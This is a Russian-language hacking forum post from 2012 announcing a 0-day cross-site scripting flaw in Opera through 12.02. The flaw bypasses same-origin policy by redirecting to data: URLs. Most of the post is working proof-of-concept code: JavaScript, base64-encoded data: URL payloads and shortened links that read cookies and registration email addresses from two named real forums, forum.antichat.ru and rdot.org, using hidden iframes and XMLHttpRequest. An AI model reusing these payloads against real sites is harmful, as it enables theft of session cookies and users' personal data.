Prev Предыдущее сообщение   Следующее сообщение Next
Старый 05.10.2012, 17:00   #1
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию XSS на любых сайтах (Opera, 0-day, обход SOP)

follow


Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.
Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.
Советую предварительно ознакомится со следующей информацией:
http://ru.wikipedia.org/wiki/Правило_ограничения_домена
http://ru.wikipedia.org/wiki/Data:_URL



В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.
Пример:
PHP код:
<script>alert(document.domain)</script> 
PHP код:
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ
Ссылка, сокращенная через сервис tinyurl.com:
http://tinyurl.com/antichat-test1

При переходе по ссылке мы увидим алерт "tinyurl.com".
Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1


При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload()
Пример:
PHP код:
<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();
else
    
alert(document.domain);
</script> 
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg== 
Ссылка:
http://tinyurl.com/antichat-test2

Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене.


Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.

Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.



PoC:
1) Читаем куки forum.antichat.ru:
PHP код:
<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
xss()
{
    
alert(document.frames[0].document.cookie);
}

function 
ifrAdd()
{
    var 
ifr document.createElement('iframe');
    
ifr.style 'width:0px;height:0px;visibility:hidden';
    
ifr.src 'http';
    
ifr.src += document.referrer.length '' 's';
    
ifr.src += '://forum.antichat.ru/css/a.css';
    
ifr.onload = function(){xss()};
    
document.body.appendChild(ifr);
}

</script>
<body onload=ifrAdd()> 
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRpY2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk
Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
http://tinyurl.com/antichat-cookie


2) Читаем куки rdot.org
PHP код:
<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
xss()
{
    
alert(document.frames[0].document.cookie);
}

function 
ifrAdd()
{
    var 
ifr document.createElement('iframe');
    
ifr.style 'width:0px;height:0px;visibility:hidden';
    
ifr.src 'https://rdot.org/forum/clientscript/vbulletin_read_marker.js';
    
ifr.onload = function(){xss()};
    
document.body.appendChild(ifr);
}

</script>
<body onload=ifrAdd()> 
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbnRzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9ubG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YigpPg== 
Ссылка (пример работает при переходе по ссылке с домена rdot.org):
http://tinyurl.com/rdot-cookie


3) Читаем регистрационное мыло forum.antichat.ru
PHP код:
<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
getMail()
{
    var 
= new XMLHttpRequest;
    
x.open('GET''http' + (document.referrer.length '' 's') + '://forum.antichat.ru/profile.php?do=editpassword'false);
    
x.send(null);
    
alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
}
</script>
<body onload=getMail()> 
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5ndGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3guc2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaCgvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis/KSIvKVsxXSl9PC9zY3JpcHQ+PGJvZHkgb25sb2FkPWEoKT4
Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
http://tinyurl.com/antichat-mail


4) Читаем регистрационное мыло rdot.org
PHP код:
<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
getMail()
{
    var 
= new XMLHttpRequest;
    
x.open('GET''https://rdot.org/forum/profile.php?do=editpassword'false);
    
x.send(null);
    
alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
}
</script>
<body onload=getMail()> 
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmlsZS5waHA/ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFpbCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YSgpPg== 
Ссылка (пример работает при переходе по ссылке с домена rdot.org):
http://tinyurl.com/rdot-mail



тема на antichat.ru

Последний раз редактировалось M_script; 07.02.2013 в 21:21..
M_script вне форума   Ответить с цитированием
 

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot